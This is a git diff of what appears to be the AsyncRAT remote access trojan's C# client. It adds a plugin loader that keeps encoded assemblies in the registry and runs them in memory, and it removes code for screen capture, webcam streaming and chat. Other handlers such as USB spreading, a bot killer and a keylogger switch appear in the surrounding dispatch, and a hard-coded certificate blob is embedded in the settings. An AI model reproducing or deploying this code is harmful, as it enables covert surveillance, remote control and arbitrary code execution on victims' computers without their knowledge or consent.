unpack_msgpack.ForcePathObject("Hash").AsString; + if (RegistryDB.GetValue(hash) != null) + { + Debug.WriteLine("Found: " + hash); + Invoke(hash); + } + else + { + Debug.WriteLine("Not Found: " + hash); + Request(unpack_msgpack.ForcePathObject("Hash").AsString); ; + } + break; + } + + case "install": + { + string hash = unpack_msgpack.ForcePathObject("Hash").AsString; + RegistryDB.SetValue(hash, unpack_msgpack.ForcePathObject("Dll").AsString); + Invoke(hash); + Debug.WriteLine("Installed: " + hash); + break; + } + } + + } + + public void Request(string hash) + { + MsgPack msgPack = new MsgPack(); + msgPack.ForcePathObject("Packet").AsString = "plugin"; + msgPack.ForcePathObject("Hash").AsString = hash; + ClientSocket.Send(msgPack.Encode2Bytes()); + } + + public void Invoke(string hash) + { + new Thread(delegate () + { + try + { + MsgPack msgPack = new MsgPack(); +#if DEBUG + msgPack.ForcePathObject("Certificate").AsString = Settings.Certificate; +#else + msgPack.ForcePathObject("Certificate").AsString = Settings.aes256.Decrypt(Settings.Certificate); +#endif + msgPack.ForcePathObject("Host").AsString = ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[0]; + msgPack.ForcePathObject("Port").AsString = ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[1]; + + Assembly loader = Assembly.Load(Convert.FromBase64String(Strings.StrReverse(RegistryDB.GetValue(hash)))); + MethodInfo meth = loader.GetType("Plugin.Plugin").GetMethod("Initialize"); + Debug.WriteLine("Invoked"); + meth.Invoke(null, new object[] { msgPack.Encode2Bytes() }); + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + }) + { IsBackground = true }.Start(); + } + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs deleted file mode 100644 index 42f8415..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs +++ /dev/null @@ -1,116 +0,0 @@ -using System; -using System.IO; -using System.Threading; -using System.Drawing.Imaging; -using System.Drawing; -using System.Windows.Forms; -using System.Runtime.InteropServices; -using Client.MessagePack; -using Client.Connection; -using Client.StreamLibrary.UnsafeCodecs; -using Client.Helper; -using Client.StreamLibrary; - -namespace Client.Handle_Packet -{ - public class HandleRemoteDesktop - { - public HandleRemoteDesktop(MsgPack unpack_msgpack) - { - try - { - switch (unpack_msgpack.ForcePathObject("Option").AsString) - { - case "capture": - { - CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger)); - break; - } - - case "mouseClick": - { - Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger); - Cursor.Position = position; - mouse_event((Int32)unpack_msgpack.ForcePathObject("Button").AsInteger, 0, 0, 0, 1); - break; - } - - case "mouseMove": - { - Point position = new Point((Int32)unpack_msgpack.ForcePathObject("X").AsInteger, (Int32)unpack_msgpack.ForcePathObject("Y").AsInteger); - Cursor.Position = position; - break; - } - } - } - catch { } - } - public void CaptureAndSend(int quality, int Scrn) - { - TempSocket tempSocket = new TempSocket(); - string hwid = Methods.HWID(); - Bitmap bmp = null; - BitmapData bmpData = null; - Rectangle rect; - Size size; - MsgPack msgpack; - IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality); - MemoryStream stream; - while (tempSocket.IsConnected && ClientSocket.IsConnected) - { - try - { - bmp = GetScreen(Scrn); - rect = new Rectangle(0, 0, bmp.Width, bmp.Height); - size = new Size(bmp.Width, bmp.Height); - bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); - - using (stream = new MemoryStream()) - { - unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream); - - if (stream.Length > 0) - { - msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("ID").AsString = hwid; - msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); - msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length); - tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); - tempSocket.SslClient.Write(msgpack.Encode2Bytes()); - tempSocket.SslClient.Flush(); - } - } - bmp.UnlockBits(bmpData); - bmp.Dispose(); - } - catch { break; } - } - try - { - bmp?.UnlockBits(bmpData); - bmp?.Dispose(); - tempSocket?.Dispose(); - } - catch { } - } - - private Bitmap GetScreen(int Scrn) - { - Rectangle rect = Screen.AllScreens[Scrn].Bounds; - try - { - Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb); - using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot)) - { - gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy); - return bmpScreenshot; - } - } - catch { return new Bitmap(rect.Width, rect.Height); } - } - - [DllImport("user32.dll")] - static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo); - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs index eaaf25d..242eb0f 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs @@ -35,6 +35,13 @@ namespace Client.Handle_Packet } catch { } } + + try + { + RegistryDB.DeleteSubKey(); + } + catch { } + ProcessStartInfo Del = null; try { diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs deleted file mode 100644 index 04c6903..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs +++ /dev/null @@ -1,213 +0,0 @@ -using AForge.Video; -using AForge.Video.DirectShow; -using Client.Connection; -using Client.Helper; -using Client.MessagePack; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading; - -namespace Client.Handle_Packet -{ - public static class HandleWebcam - { - public static bool IsOn = false; - public static VideoCaptureDevice FinalVideo; - public static string HWID = Methods.HWID(); - private static MemoryStream Camstream = new MemoryStream(); - private static TempSocket TempSocket = null; - private static int Quality = 50; - - public static void Run(MsgPack unpack_msgpack) - { - try - { - switch (unpack_msgpack.ForcePathObject("Packet").AsString) - { - case "webcam": - { - switch (unpack_msgpack.ForcePathObject("Command").AsString) - { - case "getWebcams": - { - TempSocket?.Dispose(); - TempSocket = new TempSocket(); - if (TempSocket.IsConnected) - { - GetWebcams(); - } - else - { - new Thread(() => - { - try - { - TempSocket.Dispose(); - CaptureDispose(); - } - catch { } - }).Start(); - } - break; - } - - case "capture": - { - if (IsOn == true) return; - if (TempSocket.IsConnected) - { - IsOn = true; - FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); - FinalVideo = new VideoCaptureDevice(videoCaptureDevices[0].MonikerString); - Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger; - FinalVideo.NewFrame += CaptureRun; - FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[unpack_msgpack.ForcePathObject("List").AsInteger]; - FinalVideo.Start(); - } - else - { - new Thread(() => - { - try - { - CaptureDispose(); - TempSocket.Dispose(); - } - catch { } - }).Start(); - } - break; - } - - case "stop": - { - new Thread(() => - { - try - { - CaptureDispose(); - } - catch { } - }).Start(); - break; - } - } - break; - } - } - } - catch (Exception ex) - { - Debug.WriteLine("Webcam switch" + ex.Message); - } - } - - private static void CaptureRun(object sender, NewFrameEventArgs e) - { - try - { - if (TempSocket.IsConnected) - { - if (IsOn == true) - { - Bitmap image = (Bitmap)e.Frame.Clone(); - using (Camstream = new MemoryStream()) - { - System.Drawing.Imaging.Encoder myEncoder = System.Drawing.Imaging.Encoder.Quality; - EncoderParameters myEncoderParameters = new EncoderParameters(1); - EncoderParameter myEncoderParameter = new EncoderParameter(myEncoder, Quality); - myEncoderParameters.Param[0] = myEncoderParameter; - ImageCodecInfo jpgEncoder = Methods.GetEncoder(ImageFormat.Jpeg); - image.Save(Camstream, jpgEncoder, myEncoderParameters); - myEncoderParameters?.Dispose(); - myEncoderParameter?.Dispose(); - image?.Dispose(); - - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "webcam"; - msgpack.ForcePathObject("ID").AsString = HWID; - msgpack.ForcePathObject("Command").AsString = "capture"; - msgpack.ForcePathObject("Image").SetAsBytes(Camstream.ToArray()); - TempSocket.Send(msgpack.Encode2Bytes()); - } - } - } - else - { - new Thread(() => - { - try - { - CaptureDispose(); - TempSocket.Dispose(); - } - catch { } - }).Start(); - } - } - catch (Exception ex) - { - new Thread(() => - { - try - { - CaptureDispose(); - TempSocket.Dispose(); - } - catch { } - }).Start(); - Debug.WriteLine("CaptureRun: " + ex.Message); - } - } - - private static void GetWebcams() - { - try - { - StringBuilder deviceInfo = new StringBuilder(); - FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); - foreach (FilterInfo videoCaptureDevice in videoCaptureDevices) - { - deviceInfo.Append(videoCaptureDevice.Name + "-=>"); - VideoCaptureDevice device = new VideoCaptureDevice(videoCaptureDevice.MonikerString); - Debug.WriteLine(videoCaptureDevice.Name); - } - MsgPack msgpack = new MsgPack(); - if (deviceInfo.Length > 0) - { - msgpack.ForcePathObject("Packet").AsString = "webcam"; - msgpack.ForcePathObject("Command").AsString = "getWebcams"; - msgpack.ForcePathObject("ID").AsString = HWID; - msgpack.ForcePathObject("List").AsString = deviceInfo.ToString(); - } - else - { - msgpack.ForcePathObject("Packet").AsString = "webcam"; - msgpack.ForcePathObject("Command").AsString = "getWebcams"; - msgpack.ForcePathObject("ID").AsString = HWID; - msgpack.ForcePathObject("List").AsString = "None"; - } - TempSocket.Send(msgpack.Encode2Bytes()); - } - catch { } - } - - private static void CaptureDispose() - { - try - { - IsOn = false; - FinalVideo.Stop(); - FinalVideo.NewFrame -= CaptureRun; - Camstream?.Dispose(); - } - catch { } - } - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs b/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs deleted file mode 100644 index 1220a37..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs +++ /dev/null @@ -1,47 +0,0 @@ -using Client.Helper; -using Client.MessagePack; -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Client.Handle_Packet -{ - public class HandlerChat - { - - public void CreateChat() - { - new Thread(() => - { - Packet.GetFormChat = new FormChat(); - Packet.GetFormChat.ShowDialog(); - }).Start(); - } - public void WriteInput(MsgPack unpack_msgpack) - { - if (Packet.GetFormChat.InvokeRequired) - { - Packet.GetFormChat.Invoke((MethodInvoker)(() => - { - Console.Beep(); - Packet.GetFormChat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Input").AsString + Environment.NewLine); - })); - } - } - - public void ExitChat() - { - if (Packet.GetFormChat.InvokeRequired) - { - Packet.GetFormChat.Invoke((MethodInvoker)(() => - { - Packet.GetFormChat.Close(); - Packet.GetFormChat.Dispose(); - })); - } - } - } -} diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index ccc1682..c17a50a 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -17,7 +17,6 @@ namespace Client.Handle_Packet { public static CancellationTokenSource ctsDos; public static CancellationTokenSource ctsReportWindow; - public static FormChat GetFormChat; public static string FileCopy = null; public static void Read(object data) @@ -100,54 +99,24 @@ namespace Client.Handle_Packet break; } - case "usbSpread": + case "usb": { new HandleLimeUSB(unpack_msgpack); break; } - case "remoteDesktop": - { - new HandleRemoteDesktop(unpack_msgpack); - break; - } - case "processManager": { new HandleProcessManager(unpack_msgpack); } break; - case "fileManager": - { - new FileManager(unpack_msgpack); - } - break; - case "botKiller": { new HandleBotKiller().RunBotKiller(); break; } - case "keyLogger": - { - string isON = unpack_msgpack.ForcePathObject("isON").AsString; - if (isON == "true") - { - new Thread(() => - { - HandleLimeLogger.isON = true; - HandleLimeLogger.Run(); - }).Start(); - } - else - { - HandleLimeLogger.isON = false; - } - break; - } - case "visitURL": { string url = unpack_msgpack.ForcePathObject("URL").AsString; @@ -191,24 +160,6 @@ namespace Client.Handle_Packet break; } - case "chat": - { - new HandlerChat().CreateChat(); - break; - } - - case "chatWriteInput": - { - new HandlerChat().WriteInput(unpack_msgpack); - break; - } - - case "chatExit": - { - new HandlerChat().ExitChat(); - break; - } - case "pcOptions": { new HandlePcOptions(unpack_msgpack.ForcePathObject("Option").AsString); @@ -240,13 +191,12 @@ namespace Client.Handle_Packet break; } - case "webcam": + case "plugin": { - HandleWebcam.Run(unpack_msgpack); + new HandlePlugin(unpack_msgpack); break; } - //case "netStat": // { // HandleNetStat.RunNetStat(); diff --git a/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs b/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs deleted file mode 100644 index 13dddcb..0000000 --- a/AsyncRAT-C#/Client/Helper/FormChat.Designer.cs +++ /dev/null @@ -1,93 +0,0 @@ -namespace Client.Helper -{ - partial class FormChat - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.components = new System.ComponentModel.Container(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.richTextBox1 = new System.Windows.Forms.RichTextBox(); - this.timer1 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - // - // textBox1 - // - this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom; - this.textBox1.Location = new System.Drawing.Point(0, 384); - this.textBox1.Name = "textBox1"; - this.textBox1.Size = new System.Drawing.Size(757, 26); - this.textBox1.TabIndex = 3; - this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.TextBox1_KeyDown); - // - // richTextBox1 - // - this.richTextBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.richTextBox1.BackColor = System.Drawing.SystemColors.Window; - this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.richTextBox1.Location = new System.Drawing.Point(12, 12); - this.richTextBox1.Name = "richTextBox1"; - this.richTextBox1.ReadOnly = true; - this.richTextBox1.Size = new System.Drawing.Size(733, 351); - this.richTextBox1.TabIndex = 2; - this.richTextBox1.Text = ""; - // - // timer1 - // - this.timer1.Enabled = true; - this.timer1.Interval = 1000; - this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); - // - // FormChat - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.SystemColors.Window; - this.ClientSize = new System.Drawing.Size(757, 410); - this.ControlBox = false; - this.Controls.Add(this.textBox1); - this.Controls.Add(this.richTextBox1); - this.Name = "FormChat"; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "AysncRAT | Chat"; - this.TopMost = true; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FormChat_FormClosing); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.TextBox textBox1; - public System.Windows.Forms.RichTextBox richTextBox1; - private System.Windows.Forms.Timer timer1; - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Helper/FormChat.cs b/AsyncRAT-C#/Client/Helper/FormChat.cs deleted file mode 100644 index 9a68e21..0000000 --- a/AsyncRAT-C#/Client/Helper/FormChat.cs +++ /dev/null @@ -1,45 +0,0 @@ -using Client.Handle_Packet; -using Client.MessagePack; -using Client.Connection; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Windows.Forms; - -namespace Client.Helper -{ - public partial class FormChat : Form - { - public FormChat() - { - InitializeComponent(); - } - - private void TextBox1_KeyDown(object sender, KeyEventArgs e) - { - if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text)) - { - richTextBox1.AppendText("Me: " + textBox1.Text + Environment.NewLine); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chat"; - msgpack.ForcePathObject("WriteInput").AsString = Environment.UserName + ": " + textBox1.Text + Environment.NewLine; - ClientSocket.Send(msgpack.Encode2Bytes()); - textBox1.Clear(); - } - } - - private void FormChat_FormClosing(object sender, FormClosingEventArgs e) - { - e.Cancel = true; - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (!ClientSocket.IsConnected) Packet.GetFormChat.Dispose(); - } - } -} diff --git a/AsyncRAT-C#/Client/Helper/FormChat.resx b/AsyncRAT-C#/Client/Helper/FormChat.resx deleted file mode 100644 index 1f666f2..0000000 --- a/AsyncRAT-C#/Client/Helper/FormChat.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 17, 17 - - \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs index 63a4c18..18ff676 100644 --- a/AsyncRAT-C#/Client/Helper/Methods.cs +++ b/AsyncRAT-C#/Client/Helper/Methods.cs @@ -28,7 +28,7 @@ namespace Client.Helper sb.Append(Environment.MachineName); sb.Append(Environment.OSVersion); sb.Append(new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize); - return GetHash(sb.ToString()); + return GetHash(sb.ToString()).Substring(0, 15).ToUpper(); } public static string GetHash(string strToHash) @@ -39,7 +39,7 @@ namespace Client.Helper StringBuilder strResult = new StringBuilder(); foreach (byte b in bytesToHash) strResult.Append(b.ToString("x2")); - return strResult.ToString().Substring(0, 15).ToUpper(); + return strResult.ToString(); } private static Mutex _appMutex; diff --git a/AsyncRAT-C#/Client/Helper/RegistryDB.cs b/AsyncRAT-C#/Client/Helper/RegistryDB.cs new file mode 100644 index 0000000..1b28cb3 --- /dev/null +++ b/AsyncRAT-C#/Client/Helper/RegistryDB.cs @@ -0,0 +1,67 @@ +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Client.Helper +{ + public class RegistryDB + { + private static readonly string ID = Methods.HWID(); + + public static bool SetValue(string name, string value) + { + using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree)) + { + key.SetValue(name, value, RegistryValueKind.String); + return true; + } + } + + public static string GetValue(string value) + { + try + { + using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID)) + { + if (key == null) return null; + object o = key.GetValue(value); + if (o == null) return null; + return (string)o; + } + } + catch { } + return null; + } + + public static bool DeleteValue(string name) + { + try + { + using (RegistryKey key = Registry.CurrentUser.OpenSubKey(ID, true)) + { + if (key == null) return false; + key.DeleteValue(name); + return true; + } + } + catch { } + return false; + } + + public static bool DeleteSubKey() + { + try + { + using (RegistryKey key = Registry.CurrentUser.OpenSubKey("", true)) + { + key.DeleteSubKeyTree(ID); + return true; + } + } + catch { } + return false; + } + } +} diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 73c8006..80f3fff 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -12,15 +12,15 @@ namespace Client #if DEBUG public static string Ports = "6606"; public static string Hosts = "127.0.0.1"; - public static string Version = "0.5.2"; + public static string Version = "0.5.3"; public static string Install = "false"; public static string InstallFolder = "AppData"; public static string InstallFile = "Test.exe"; public static string Key = "NYAN CAT"; public static string MTX = "%MTX%"; - public static string Certificate = "%Certificate%"; + public static string Certificate = "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